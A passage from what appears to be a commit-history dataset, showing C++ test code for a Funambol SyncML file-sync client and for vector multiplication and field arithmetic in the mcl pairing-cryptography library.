\"base\/test.h\"\n\n#include <string>\n#include <vector>\n#include <iomanip>\n#include <memory>\n\n#ifdef WIN32\n#include <direct.h>\n#endif\n#include <sys\/stat.h>\n\nclass TestFileSource : public ClientTest {\npublic:\n    TestFileSource(const std::string &id) :\n        ClientTest(getenv(\"CLIENT_TEST_DELAY\") ? atoi(getenv(\"CLIENT_TEST_DELAY\")) : 0,\n                   getenv(\"CLIENT_TEST_LOG\") ? getenv(\"CLIENT_TEST_LOG\") : \"\"),\n        clientID(id) {\n        const char *sourcelist = getenv(\"CLIENT_TEST_SOURCES\");\n        const char *server = getenv(\"CLIENT_TEST_SERVER\");\n\n        \/* set up source list *\/\n        if (!sourcelist) {\n            sourcelist = \"\";\n        }\n        const char *eostr = strchr(sourcelist, ',');\n        const char *start = sourcelist;\n\n        while (eostr) {\n            sources.push_back(std::string(start, 0, eostr - start));\n            start = eostr + 1;\n            eostr = strchr(start, ',');\n        }\n        if (start[0]) {\n            sources.push_back(start);\n        }\n\n        \/* check server *\/\n        if (!server) {\n            server = \"funambol\";\n        }\n\n        \/\/ get configuration and set obligatory fields\n        LOG.setLevel(LOG_LEVEL_DEBUG);\n        std::string root = std::string(\"client-test\/\") + server + \"_\" + id;\n        config.reset(new DMTClientConfig(root.c_str()));\n        config->read();\n        DeviceConfig &dc(config->getDeviceConfig());\n        if (!strlen(dc.getDevID())) {\n            \/\/ no configuration yet\n            config->setClientDefaults();\n            dc.setDevID(id == \"A\" ? \"sc-api-nat\" : \"sc-pim-ppc\");\n        }\n        for (int source = 0; source < (int)sources.size(); source++) {\n            SyncSourceConfig* sc = config->getSyncSourceConfig(sources[source].c_str());\n            if (!sc) {\n                \/\/ no configuration yet\n                config->setSourceDefaults(sources[source].c_str());\n                sc = config->getSyncSourceConfig(sources[source].c_str());\n                CPPUNIT_ASSERT(sc);\n            }\n\n            ClientTest::Config testconfig;\n            getSourceConfig(source, testconfig);\n            CPPUNIT_ASSERT(testconfig.type);\n            sc->setType(testconfig.type);\n        }\n        config->save();\n        config->open();\n\n        if (id == \"A\") {\n            \/* we are the primary client, create a second one *\/\n            clientB.reset(new TestFileSource(\"B\"));\n        }\n    }\n    \n    virtual int getNumSources() {\n        return (int)sources.size();\n    }\n\n    virtual void getSourceConfig(int source, Config &config) {\n        memset(&config, 0, sizeof(config));\n\n        getTestData(sources[source].c_str(), config);\n        config.createSourceA =\n            config.createSourceB = createSource;\n    }\n\n    virtual ClientTest* getClientB() {\n        return clientB.get();\n    }\n\n    virtual bool isB64Enabled() {\n        return false;\n    }\n\n    virtual int sync(\n        const int *activeSources,\n        SyncMode syncMode,\n        long maxMsgSize,\n        long maxObjSize,\n        bool loSupport,\n        const char *encoding = 0) {\n        SyncSource **syncSources = new SyncSource *[sources.size() + 1];\n        int source;\n        memset(syncSources, 0, sizeof(syncSources[0]) * (sources.size() + 1));\n\n        for (source = 0; activeSources[source] >= 0 && source < (int)sources.size(); source++) {\n            \/\/ rewrite configuration as needed for test\n            SyncSourceConfig *sourceConfig = config->getSyncSourceConfig(sources[source].c_str());\n            CPPUNIT_ASSERT(sourceConfig);\n            sourceConfig->setSync(syncModeKeyword(syncMode));\n            sourceConfig->setEncoding(encoding);\n            config->getAccessConfig().setMaxMsgSize(maxMsgSize);\n            config->getDeviceConfig().setMaxObjSize(maxObjSize);\n            config->getDeviceConfig().setLoSupport(loSupport);\n\n            \/\/ create sync source using the third change tracking for syncs\n            syncSources[source] = createSource(source, \"S\");\n        }\n\n        SyncClient client;\n        int res = client.sync(*config, syncSources);\n\n        for (source = 0; syncSources[source]; source++) {\n            delete syncSources[source];\n        }\n\n        return res;\n    }\n\nprivate:\n    \/** either \"A\" or \"B\" for first respectively second client *\/\n    std::string clientID;\n\n    \/** only in \"A\": pointer to second client *\/\n    std::auto_ptr<TestFileSource> clientB;\n\n    \/** vector of enabled sync sources, identified by a name which SyncClient::getConfig() supports *\/\n    std::vector<std::string> sources;\n\n    \/** configuration tree itself *\/\n    std::auto_ptr<DMTClientConfig> config;\n\n    static SyncSource *createSource(ClientTest &client, int source, bool isSourceA) {\n        \/\/ hand work over to real member function\n        return ((TestFileSource &)client).createSource(source, isSourceA ? \"A\" : \"B\");\n    }\n\n    SyncSource *createSource(int source, const char *trackingSuffix) {\n        class RawFILESyncSourceWithReport : public RawFILESyncSource {\n        public:\n            RawFILESyncSourceWithReport(const char* nodeName, const WCHAR* name, SyncSourceConfig* sc) :\n                RawFILESyncSource(name, sc),\n                fileNode(nodeName) {\n                setReport(&report);\n                setFileNode(&fileNode);\n                \/*\n                 * Keeping track if changes is done via time() with a resolution of seconds.\n                 * Sleep a bit to ensure that enough time passes.\n                 *\/\n#ifdef WIN32\n\t\t\t\tSleep(1000);\n#else\n                sleep(1);\n#endif\n            }\n        private:\n            SyncSourceReport report;\n            DeviceManagementNode fileNode;\n        };\n\n        CPPUNIT_ASSERT(source < (int)sources.size());\n        ManagementNode *sourceNode = config->getSyncSourceNode(sources[source].c_str());\n        CPPUNIT_ASSERT(sourceNode);\n        char *fullName = sourceNode->createFullName();\n        std::string nodeName = std::string(fullName) + \"\/changes_\" + trackingSuffix;\n        std::string dirName = sources[source] + \"_\" + clientID;\n\t\tWCHAR *name = toWideChar(sources[source].c_str());\n        delete [] fullName;\n        FILESyncSource *ss = new RawFILESyncSourceWithReport(\n            nodeName.c_str(),\n            name,\n            config->getSyncSourceConfig(sources[source].c_str()));\n\t\tdelete [] name;\n#ifdef WIN32\n        _mkdir(dirName.c_str());\n#else\n\t\tmkdir(dirName.c_str(), S_IRWXU);\n#endif\n        ss->setDir(dirName.c_str());\n\n        return ss;\n    }\n};\n\n\n\/**\n * the only purpose of this class is to own the first TestFileSource\n * and to register its tests at program startup\n *\/\nstatic class RegisterTest {\npublic:\n    RegisterTest() :\n        testFileSource(\"A\") {\n        testFileSource.registerTests();\n    }\n\nprivate:\n    TestFileSource testFileSource;\n} registerTest;\n<commit_msg>fixed comments<commit_after>\/*\n * Copyright (C) 2006 Funambol\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\/\n\n\/**\n * This code uses the ClientTest and FILESyncSource to test real\n * synchronization against a server. More than one FILESyncSource can\n * be active at once and each of them may (but does not have to be)\n * used for different kinds of data. The name of the source determines\n * which data is stored in it: it must be something supported by the\n * ClientTest class, because that is where the test data comes from.\n *\n * At least the following kinds of data are currently supported by the\n * ClientTest class (see ClientTest::getSourceConfig() for more\n * information):\n * - vcard30 = vCard 3.0 contacts\n * - ical20 = iCalendar 2.0 calendar events\n * - itodo20 = iCalendar 2.0 tasks\n *\n * Configuration is done by environment variables which indicate which\n * part below the root node \"client-test\" of the the configuration tree to use;\n * beyond that everything needed for synchronization is read from the\n * configuration tree.\n *\n * - CLIENT_TEST_SERVER = maps to name of root node in configuration tree\n * - CLIENT_TEST_SOURCES = comma separated list of active sources,\n *                         names as listed above\n * - CLIENT_TEST_DELAY = number of seconds to sleep between syncs, required\n *                       by some servers\n * - CLIENT_TEST_LOG = logfile name of a server, can be empty:\n *                     if given, then the content of that file will be\n *                     copied and stored together with the client log\n *                     (only works on Unix)\n *\n * For example, on Linux running\n *    CLIENT_TEST_SERVER=funambol CLIENT_TEST_SOURCES=vcard30,ical20 .\/client-test\n * expects the following configuration layout:\n * ~\/.sync4j\/client-test\/\n *                       funambol_1\/spds\/\n *                                       syncml\/config.text\n *                                       sources\/\n *                                               vcard30\/config.txt\n *                                               ical20\/config.txt\n *                       funambol_1\/spds\/\n *                                       <same as for funambol_1>\n *\n * If any of the configuration nodes does not exist yet, then it will\n * be created, but further information may have to be added, in\n * particular:\n * - server URL\n * - server user name, password\n * - sources uri\n *\n * The two configurations are used to simulate synchronization between\n * two different clients.\n *\n * The file sources will store their items in sub directories of\n * a \"client-data\" directory created in the current working directory.\n *\n * Here is an example of using the CLIENT_TEST_LOG:\n *    CLIENT_TEST_SERVER=funambol \\\n *    CLIENT_TEST_LOG=\/opt\/Funambol-3.0\/ds-server\/logs\/funambol_ds.log \\\n *    CLIENT_TEST_SOURCES=vcard30 \\\n *    .\/client-test\n * will create files with the suffix .client.A.log for synchronizations with\n * the first client and .client.B.log for the second client. The base name\n * of these files is unique, so the corresponding part of the server log\n * is stored with the same base name and .server.log as suffix. \n *\/\n\n#include \"spdm\/DeviceManagementNode.h\"\n#include \"spds\/RawFILESyncSource.h\"\n#include \"spds\/spdsutils.h\"\n#include \"client\/DMTClientConfig.h\"\n#include \"client\/SyncClient.h\"\n#include \"test\/ClientTest.h\"\n#include \"base\/test.h\"\n\n#include <string>\n#include <vector>\n#include <iomanip>\n#include <memory>\n\n#ifdef WIN32\n#include <direct.h>\n#endif\n#include <sys\/stat.h>\n\nclass TestFileSource : public ClientTest {\npublic:\n    TestFileSource(const std::string &id) :\n        ClientTest(getenv(\"CLIENT_TEST_DELAY\") ? atoi(getenv(\"CLIENT_TEST_DELAY\")) : 0,\n                   getenv(\"CLIENT_TEST_LOG\") ? getenv(\"CLIENT_TEST_LOG\") : \"\"),\n        clientID(id) {\n        const char *sourcelist = getenv(\"CLIENT_TEST_SOURCES\");\n        const char *server = getenv(\"CLIENT_TEST_SERVER\");\n\n        \/* set up source list *\/\n        if (!sourcelist) {\n            sourcelist = \"\";\n        }\n        const char *eostr = strchr(sourcelist, ',');\n        const char *start = sourcelist;\n\n        while (eostr) {\n            sources.push_back(std::string(start, 0, eostr - start));\n            start = eostr + 1;\n            eostr = strchr(start, ',');\n        }\n        if (start[0]) {\n            sources.push_back(start);\n        }\n\n        \/* check server *\/\n        if (!server) {\n            server = \"funambol\";\n        }\n\n        \/\/ get configuration and set obligatory fields\n        LOG.setLevel(LOG_LEVEL_DEBUG);\n        std::string root = std::string(\"client-test\/\") + server + \"_\" + id;\n        config.reset(new DMTClientConfig(root.c_str()));\n        config->read();\n        DeviceConfig &dc(config->getDeviceConfig());\n        if (!strlen(dc.getDevID())) {\n            \/\/ no configuration yet\n            config->setClientDefaults();\n            dc.setDevID(id == \"A\" ? \"sc-api-nat\" : \"sc-pim-ppc\");\n        }\n        for (int source = 0; source < (int)sources.size(); source++) {\n            SyncSourceConfig* sc = config->getSyncSourceConfig(sources[source].c_str());\n            if (!sc) {\n                \/\/ no configuration yet\n                config->setSourceDefaults(sources[source].c_str());\n                sc = config->getSyncSourceConfig(sources[source].c_str());\n                CPPUNIT_ASSERT(sc);\n            }\n\n            ClientTest::Config testconfig;\n            getSourceConfig(source, testconfig);\n            CPPUNIT_ASSERT(testconfig.type);\n            sc->setType(testconfig.type);\n        }\n        config->save();\n        config->open();\n\n        if (id == \"A\") {\n            \/* we are the primary client, create a second one *\/\n            clientB.reset(new TestFileSource(\"B\"));\n        }\n    }\n    \n    virtual int getNumSources() {\n        return (int)sources.size();\n    }\n\n    virtual void getSourceConfig(int source, Config &config) {\n        memset(&config, 0, sizeof(config));\n\n        getTestData(sources[source].c_str(), config);\n        config.createSourceA =\n            config.createSourceB = createSource;\n    }\n\n    virtual ClientTest* getClientB() {\n        return clientB.get();\n    }\n\n    virtual bool isB64Enabled() {\n        return false;\n    }\n\n    virtual int sync(\n        const int *activeSources,\n        SyncMode syncMode,\n        long maxMsgSize,\n        long maxObjSize,\n        bool loSupport,\n        const char *encoding = 0) {\n        SyncSource **syncSources = new SyncSource *[sources.size() + 1];\n        int source;\n        memset(syncSources, 0, sizeof(syncSources[0]) * (sources.size() + 1));\n\n        for (source = 0; activeSources[source] >= 0 && source < (int)sources.size(); source++) {\n            \/\/ rewrite configuration as needed for test\n            SyncSourceConfig *sourceConfig = config->getSyncSourceConfig(sources[source].c_str());\n            CPPUNIT_ASSERT(sourceConfig);\n            sourceConfig->setSync(syncModeKeyword(syncMode));\n            sourceConfig->setEncoding(encoding);\n            config->getAccessConfig().setMaxMsgSize(maxMsgSize);\n            config->getDeviceConfig().setMaxObjSize(maxObjSize);\n            config->getDeviceConfig().setLoSupport(loSupport);\n\n            \/\/ create sync source using the third change tracking for syncs\n            syncSources[source] = createSource(source, \"S\");\n        }\n\n        SyncClient client;\n        int res = client.sync(*config, syncSources);\n\n        for (source = 0; syncSources[source]; source++) {\n            delete syncSources[source];\n        }\n\n        return res;\n    }\n\nprivate:\n    \/** either \"A\" or \"B\" for first respectively second client *\/\n    std::string clientID;\n\n    \/** only in \"A\": pointer to second client *\/\n    std::auto_ptr<TestFileSource> clientB;\n\n    \/** vector of enabled sync sources, identified by a name which SyncClient::getConfig() supports *\/\n    std::vector<std::string> sources;\n\n    \/** configuration tree itself *\/\n    std::auto_ptr<DMTClientConfig> config;\n\n    static SyncSource *createSource(ClientTest &client, int source, bool isSourceA) {\n        \/\/ hand work over to real member function\n        return ((TestFileSource &)client).createSource(source, isSourceA ? \"A\" : \"B\");\n    }\n\n    SyncSource *createSource(int source, const char *trackingSuffix) {\n        class RawFILESyncSourceWithReport : public RawFILESyncSource {\n        public:\n            RawFILESyncSourceWithReport(const char* nodeName, const WCHAR* name, SyncSourceConfig* sc) :\n                RawFILESyncSource(name, sc),\n                fileNode(nodeName) {\n                setReport(&report);\n                setFileNode(&fileNode);\n                \/*\n                 * Keeping track if changes is done via time() with a resolution of seconds.\n                 * Sleep a bit to ensure that enough time passes.\n                 *\/\n#ifdef WIN32\n\t\t\t\tSleep(1000);\n#else\n                sleep(1);\n#endif\n            }\n        private:\n            SyncSourceReport report;\n            DeviceManagementNode fileNode;\n        };\n\n        CPPUNIT_ASSERT(source < (int)sources.size());\n        ManagementNode *sourceNode = config->getSyncSourceNode(sources[source].c_str());\n        CPPUNIT_ASSERT(sourceNode);\n        char *fullName = sourceNode->createFullName();\n        std::string nodeName = std::string(fullName) + \"\/changes_\" + trackingSuffix;\n        std::string dirName = sources[source] + \"_\" + clientID;\n\t\tWCHAR *name = toWideChar(sources[source].c_str());\n        delete [] fullName;\n        FILESyncSource *ss = new RawFILESyncSourceWithReport(\n            nodeName.c_str(),\n            name,\n            config->getSyncSourceConfig(sources[source].c_str()));\n\t\tdelete [] name;\n#ifdef WIN32\n        _mkdir(dirName.c_str());\n#else\n\t\tmkdir(dirName.c_str(), S_IRWXU);\n#endif\n        ss->setDir(dirName.c_str());\n\n        return ss;\n    }\n};\n\n\n\/**\n * the only purpose of this class is to own the first TestFileSource\n * and to register its tests at program startup\n *\/\nstatic class RegisterTest {\npublic:\n    RegisterTest() :\n        testFileSource(\"A\") {\n        testFileSource.registerTests();\n    }\n\nprivate:\n    TestFileSource testFileSource;\n} registerTest;\n<|endoftext|>"}
{"text":"<commit_before>template<class G>\nvoid naiveMulVec(G& out, const G *xVec, const Fr *yVec, size_t n)\n{\n\tif (n == 1) {\n\t\tG::mul(out, xVec[0], yVec[0]);\n\t\treturn;\n\t}\n\tG r, t;\n\tr.clear();\n\tfor (size_t i = 0; i < n; i++) {\n\t\tG::mul(t, xVec[i], yVec[i]);\n\t\tr += t;\n\t}\n\tout = r;\n}\n\ntemplate<class G>\nvoid mulVecCopy(G& z, G *x, const Fr *y, size_t n, const G* x0)\n{\n\tfor (size_t i = 0; i < n; i++) x[i] = x0[i];\n\tG::mulVec(z, x, y, n);\n}\n\ntemplate<class G>\nvoid testMulVec(const G& P)\n{\n\tusing namespace mcl::bn;\n\tconst int N = 4096;\n\tstd::vector<G> x0Vec(N);\n\tstd::vector<G> xVec(N);\n\tstd::vector<Fr> yVec(N);\n\n\tfor (size_t i = 0; i < N; i++) {\n\t\tG::mul(x0Vec[i], P, i + 3);\n\t\txVec[i] = x0Vec[i];\n\t\tyVec[i].setByCSPRNG();\n\t}\n\tconst size_t nTbl[] = { 1, 2, 3, 15, 16, 17, 32, 64, 128, 256, 512, 1024, 2048, N };\n\tfor (size_t i = 0; i < CYBOZU_NUM_OF_ARRAY(nTbl); i++) {\n\t\tconst size_t n = nTbl[i];\n\t\tG Q1, Q2;\n\t\tCYBOZU_TEST_ASSERT(n <= N);\n\t\tnaiveMulVec(Q1, xVec.data(), yVec.data(), n);\n\t\tG::mulVec(Q2, xVec.data(), yVec.data(), n);\n\t\tCYBOZU_TEST_EQUAL(Q1, Q2);\n\t\tQ2.clear();\n#ifdef NDEBUG\n\t\tprintf(\"n=%zd\\n\", n);\n\t\tconst int C = 10;\n\t\tCYBOZU_BENCH_C(\"naive \", C, naiveMulVec, Q1, xVec.data(), yVec.data(), n);\n\t\tCYBOZU_BENCH_C(\"mulVec\", C, G::mulVec, Q1, xVec.data(), yVec.data(), n);\n\t\tCYBOZU_BENCH_C(\"mulVecCopy\", C, mulVecCopy, Q1, xVec.data(), yVec.data(), n, x0Vec.data());\n#endif\n\t}\n}\n\ntemplate<class G>\nvoid naivePowVec(G& out, const G *xVec, const Fr *yVec, size_t n)\n{\n\tif (n == 1) {\n\t\tG::pow(out, xVec[0], yVec[0]);\n\t\treturn;\n\t}\n\tG r, t;\n\tr.setOne();\n\tfor (size_t i = 0; i < n; i++) {\n\t\tG::pow(t, xVec[i], yVec[i]);\n\t\tr *= t;\n\t}\n\tout = r;\n}\n\ntemplate<class G>\ninline void testPowVec(const G& e)\n{\n\tusing namespace mcl::bn;\n\tconst int N = 33;\n\tG xVec[N];\n\tFr yVec[N];\n\n\txVec[0] = e;\n\tfor (size_t i = 0; i < N; i++) {\n\t\tif (i > 0) G::mul(xVec[i], xVec[i - 1], e);\n\t\tyVec[i].setByCSPRNG();\n\t}\n\tconst size_t nTbl[] = { 1, 2, 3, 5, 7, 8, 9, 14, 15, 16, 30, 31, 32, 33 };\n\tfor (size_t i = 0; i < CYBOZU_NUM_OF_ARRAY(nTbl); i++) {\n\t\tconst size_t n = nTbl[i];\n\t\tG Q1, Q2;\n\t\tCYBOZU_TEST_ASSERT(n <= N);\n\t\tnaivePowVec(Q1, xVec, yVec, n);\n\t\tG::powVec(Q2, xVec, yVec, n);\n\t\tCYBOZU_TEST_EQUAL(Q1, Q2);\n#if 0\/\/#ifdef NDEBUG\n\t\tprintf(\"n=%zd\\n\", n);\n\t\tconst int C = 400;\n\t\tCYBOZU_BENCH_C(\"naive \", C, naivePowVec, Q1, xVec, yVec, n);\n\t\tCYBOZU_BENCH_C(\"mulVec\", C, G::powVec, Q1, xVec, yVec, n);\n#endif\n\t}\n}\n\ntemplate<class G>\nvoid testMulCT(const G& P)\n{\n\tcybozu::XorShift rg;\n\tG Q1, Q2;\n\tfor (int i = 0; i < 100; i++) {\n\t\tFr x;\n\t\tx.setByCSPRNG(rg);\n\t\tG::mul(Q1, P, x);\n\t\tG::mulCT(Q2, P, x);\n\t\tCYBOZU_TEST_EQUAL(Q1, Q2);\n\t}\n}\n\nvoid testMul2()\n{\n\tputs(\"testMul2\");\n\tcybozu::XorShift rg;\n\tFp x1, x2;\n\tx1.setByCSPRNG(rg);\n\tx2 = x1;\n\tfor (int i = 0; i < 100; i++) {\n\t\tFp::mul2(x1, x1);\n\t\tx2 += x2;\n\t\tCYBOZU_TEST_EQUAL(x1, x2);\n\t}\n\tFp2 y1;\n\ty1.a = x1;\n\ty1.b = -x1;\n\tFp2 y2 = y1;\n\tfor (int i = 0; i < 100; i++) {\n\t\tFp2::mul2(y1, y1);\n\t\ty2 += y2;\n\t\tCYBOZU_TEST_EQUAL(y1, y2);\n\t}\n}\n\nvoid testABCDsub(const Fp2& a, const Fp2& b, const Fp2& c, const Fp2& d)\n{\n\tFp2 t1, t2;\n\tFp2::addPre(t1, a, b);\n\tFp2::addPre(t2, c, d);\n\tFp2Dbl T1, AC, BD;\n\tFp2Dbl::mulPre(T1, t1, t2);\n\tFp2Dbl::mulPre(AC, a, c);\n\tFp2Dbl::mulPre(BD, b, d);\n\tFp2Dbl::subSpecial(T1, AC);\n\tFp2Dbl::subSpecial(T1, BD);\n\tFp2Dbl::mod(t1, T1);\n\tCYBOZU_TEST_EQUAL(t1, a * d + b * c);\n}\n\nvoid testABCD()\n{\n\tputs(\"testMisc1\");\n\t\/\/ (a + b)(c + d) - ac - bd = ad + bc\n\tFp2 a[4];\n\ta[0].a = -1;\n\ta[0].b = -1;\n\ta[1] = a[0];\n\ta[2] = a[0];\n\ta[3] = a[0];\n\ttestABCDsub(a[0], a[1], a[2], a[3]);\n\tfor (int i = 0; i < 100; i++) {\n\t\tfor (int j = 0; j < 4; j++) {\n\t\t\ta[j].a.setByCSPRNG();\n\t\t\ta[j].b.setByCSPRNG();\n\t\t}\n\t\ttestABCDsub(a[0], a[1], a[2], a[3]);\n\t}\n}\n\nvoid testFp2Dbl_mul_xi1()\n{\n\tconst uint32_t xi_a = Fp2::get_xi_a();\n\tif (xi_a != 1) return;\n\tputs(\"testFp2Dbl_mul_xi1\");\n\tcybozu::XorShift rg;\n\tfor (int i = 0; i < 10; i++) {\n\t\tFp a1, a2;\n\t\ta1.setByCSPRNG(rg);\n\t\ta2.setByCSPRNG(rg);\n\t\tFp2Dbl x;\n\t\tFpDbl::mulPre(x.a, a1, a2);\n\t\ta1.setByCSPRNG(rg);\n\t\ta2.setByCSPRNG(rg);\n\t\tFpDbl::mulPre(x.b, a1, a2);\n\t\tFp2Dbl ok;\n\t\t{\n\t\t\tFpDbl::mulUnit(ok.a, x.a, xi_a);\n\t\t\tok.a -= x.b;\n\t\t\tFpDbl::mulUnit(ok.b, x.b, xi_a);\n\t\t\tok.b += x.a;\n\t\t}\n\t\tFp2Dbl::mul_xi(x, x);\n\t\tCYBOZU_TEST_EQUAL_ARRAY(ok.a.getUnit(), x.a.getUnit(), ok.a.getUnitSize());\n\t\tCYBOZU_TEST_EQUAL_ARRAY(ok.b.getUnit(), x.b.getUnit(), ok.b.getUnitSize());\n\t}\n}\n\nvoid testMulSmall()\n{\n\tputs(\"testMulSmall\");\n\tcybozu::XorShift rg;\n\tfor (int y = 0; y < 10; y++) {\n\t\tfor (int i = 0; i < 40; i++) {\n\t\t\tFp x, z1, z2;\n\t\t\tx.setByCSPRNG(rg);\n\t\t\tFp::mulSmall(z1, x, y);\n\t\t\tz2 = x * y;\n\t\t\tCYBOZU_TEST_EQUAL(z1, z2);\n\t\t}\n\t}\n}\n\nvoid testCommon(const G1& P, const G2& Q)\n{\n\ttestMulSmall();\n\ttestFp2Dbl_mul_xi1();\n\ttestABCD();\n\ttestMul2();\n\tputs(\"G1\");\n\ttestMulVec(P);\n\tputs(\"G2\");\n\ttestMulVec(Q);\n\ttestMulCT(Q);\n\tGT e;\n\tmcl::bn::pairing(e, P, Q);\n\tputs(\"GT\");\n\ttestPowVec(e);\n}\n<commit_msg>disable bench of mulVec<commit_after>template<class G>\nvoid naiveMulVec(G& out, const G *xVec, const Fr *yVec, size_t n)\n{\n\tif (n == 1) {\n\t\tG::mul(out, xVec[0], yVec[0]);\n\t\treturn;\n\t}\n\tG r, t;\n\tr.clear();\n\tfor (size_t i = 0; i < n; i++) {\n\t\tG::mul(t, xVec[i], yVec[i]);\n\t\tr += t;\n\t}\n\tout = r;\n}\n\ntemplate<class G>\nvoid mulVecCopy(G& z, G *x, const Fr *y, size_t n, const G* x0)\n{\n\tfor (size_t i = 0; i < n; i++) x[i] = x0[i];\n\tG::mulVec(z, x, y, n);\n}\n\ntemplate<class G>\nvoid testMulVec(const G& P)\n{\n\tusing namespace mcl::bn;\n\tconst int N = 4096;\n\tstd::vector<G> x0Vec(N);\n\tstd::vector<G> xVec(N);\n\tstd::vector<Fr> yVec(N);\n\n\tfor (size_t i = 0; i < N; i++) {\n\t\tG::mul(x0Vec[i], P, i + 3);\n\t\txVec[i] = x0Vec[i];\n\t\tyVec[i].setByCSPRNG();\n\t}\n\tconst size_t nTbl[] = { 1, 2, 3, 15, 16, 17, 32, 64, 128, 256,\n#if 0\n\t\t512, 1024, 2048, N\n#endif\n\t};\n\tfor (size_t i = 0; i < CYBOZU_NUM_OF_ARRAY(nTbl); i++) {\n\t\tconst size_t n = nTbl[i];\n\t\tG Q1, Q2;\n\t\tCYBOZU_TEST_ASSERT(n <= N);\n\t\tnaiveMulVec(Q1, xVec.data(), yVec.data(), n);\n\t\tG::mulVec(Q2, xVec.data(), yVec.data(), n);\n\t\tCYBOZU_TEST_EQUAL(Q1, Q2);\n\t\tQ2.clear();\n#if 0 \/\/ #ifdef NDEBUG\n\t\tprintf(\"n=%zd\\n\", n);\n\t\tconst int C = 10;\n\t\tCYBOZU_BENCH_C(\"naive \", C, naiveMulVec, Q1, xVec.data(), yVec.data(), n);\n\t\tCYBOZU_BENCH_C(\"mulVec\", C, G::mulVec, Q1, xVec.data(), yVec.data(), n);\n\t\tCYBOZU_BENCH_C(\"mulVecCopy\", C, mulVecCopy, Q1, xVec.data(), yVec.data(), n, x0Vec.data());\n#endif\n\t}\n}\n\ntemplate<class G>\nvoid naivePowVec(G& out, const G *xVec, const Fr *yVec, size_t n)\n{\n\tif (n == 1) {\n\t\tG::pow(out, xVec[0], yVec[0]);\n\t\treturn;\n\t}\n\tG r, t;\n\tr.setOne();\n\tfor (size_t i = 0; i < n; i++) {\n\t\tG::pow(t, xVec[i], yVec[i]);\n\t\tr *= t;\n\t}\n\tout = r;\n}\n\ntemplate<class G>\ninline void testPowVec(const G& e)\n{\n\tusing namespace mcl::bn;\n\tconst int N = 33;\n\tG xVec[N];\n\tFr yVec[N];\n\n\txVec[0] = e;\n\tfor (size_t i = 0; i < N; i++) {\n\t\tif (i > 0) G::mul(xVec[i], xVec[i - 1], e);\n\t\tyVec[i].setByCSPRNG();\n\t}\n\tconst size_t nTbl[] = { 1, 2, 3, 5, 7, 8, 9, 14, 15, 16, 30, 31, 32, 33 };\n\tfor (size_t i = 0; i < CYBOZU_NUM_OF_ARRAY(nTbl); i++) {\n\t\tconst size_t n = nTbl[i];\n\t\tG Q1, Q2;\n\t\tCYBOZU_TEST_ASSERT(n <= N);\n\t\tnaivePowVec(Q1, xVec, yVec, n);\n\t\tG::powVec(Q2, xVec, yVec, n);\n\t\tCYBOZU_TEST_EQUAL(Q1, Q2);\n#if 0\/\/#ifdef NDEBUG\n\t\tprintf(\"n=%zd\\n\", n);\n\t\tconst int C = 400;\n\t\tCYBOZU_BENCH_C(\"naive \", C, naivePowVec, Q1, xVec, yVec, n);\n\t\tCYBOZU_BENCH_C(\"mulVec\", C, G::powVec, Q1, xVec, yVec, n);\n#endif\n\t}\n}\n\ntemplate<class G>\nvoid testMulCT(const G& P)\n{\n\tcybozu::XorShift rg;\n\tG Q1, Q2;\n\tfor (int i = 0; i < 100; i++) {\n\t\tFr x;\n\t\tx.setByCSPRNG(rg);\n\t\tG::mul(Q1, P, x);\n\t\tG::mulCT(Q2, P, x);\n\t\tCYBOZU_TEST_EQUAL(Q1, Q2);\n\t}\n}\n\nvoid testMul2()\n{\n\tputs(\"testMul2\");\n\tcybozu::XorShift rg;\n\tFp x1, x2;\n\tx1.setByCSPRNG(rg);\n\tx2 = x1;\n\tfor (int i = 0; i < 100; i++) {\n\t\tFp::mul2(x1, x1);\n\t\tx2 += x2;\n\t\tCYBOZU_TEST_EQUAL(x1, x2);\n\t}\n\tFp2 y1;\n\ty1.a = x1;\n\ty1.b = -x1;\n\tFp2 y2 = y1;\n\tfor (int i = 0; i < 100; i++) {\n\t\tFp2::mul2(y1, y1);\n\t\ty2 += y2;\n\t\tCYBOZU_TEST_EQUAL(y1, y2);\n\t}\n}\n\nvoid testABCDsub(const Fp2& a, const Fp2& b, const Fp2& c, const Fp2& d)\n{\n\tFp2 t1, t2;\n\tFp2::addPre(t1, a, b);\n\tFp2::addPre(t2, c, d);\n\tFp2Dbl T1, AC, BD;\n\tFp2Dbl::mulPre(T1, t1, t2);\n\tFp2Dbl::mulPre(AC, a, c);\n\tFp2Dbl::mulPre(BD, b, d);\n\tFp2Dbl::subSpecial(T1, AC);\n\tFp2Dbl::subSpecial(T1, BD);\n\tFp2Dbl::mod(t1, T1);\n\tCYBOZU_TEST_EQUAL(t1, a * d + b * c);\n}\n\nvoid testABCD()\n{\n\tputs(\"testMisc1\");\n\t\/\/ (a + b)(c + d) - ac - bd = ad + bc\n\tFp2 a[4];\n\ta[0].a = -1;\n\ta[0].b = -1;\n\ta[1] = a[0];\n\ta[2] = a[0];\n\ta[3] = a[0];\n\ttestABCDsub(a[0], a[1], a[2], a[3]);\n\tfor (int i = 0; i < 100; i++) {\n\t\tfor (int j = 0; j < 4; j++) {\n\t\t\ta[j].a.setByCSPRNG();\n\t\t\ta[j].b.setByCSPRNG();\n\t\t}\n\t\ttestABCDsub(a[0], a[1], a[2], a[3]);\n\t}\n}\n\nvoid testFp2Dbl_mul_xi1()\n{\n\tconst uint32_t xi_a = Fp2::get_xi_a();\n\tif (xi_a != 1) return;\n\tputs(\"testFp2Dbl_mul_xi1\");\n\tcybozu::XorShift rg;\n\tfor (int i = 0; i < 10; i++) {\n\t\tFp a1, a2;\n\t\ta1.setByCSPRNG(rg);\n\t\ta2.setByCSPRNG(rg);\n\t\tFp2Dbl x;\n\t\tFpDbl::mulPre(x.a, a1, a2);\n\t\ta1.setByCSPRNG(rg);\n\t\ta2.setByCSPRNG(rg);\n\t\tFpDbl::mulPre(x.b, a1, a2);\n\t\tFp2Dbl ok;\n\t\t{\n\t\t\tFpDbl::mulUnit(ok.a, x.a, xi_a);\n\t\t\tok.a -= x.b;\n\t\t\tFpDbl::mulUnit(ok.b, x.b, xi_a);\n\t\t\tok.b += 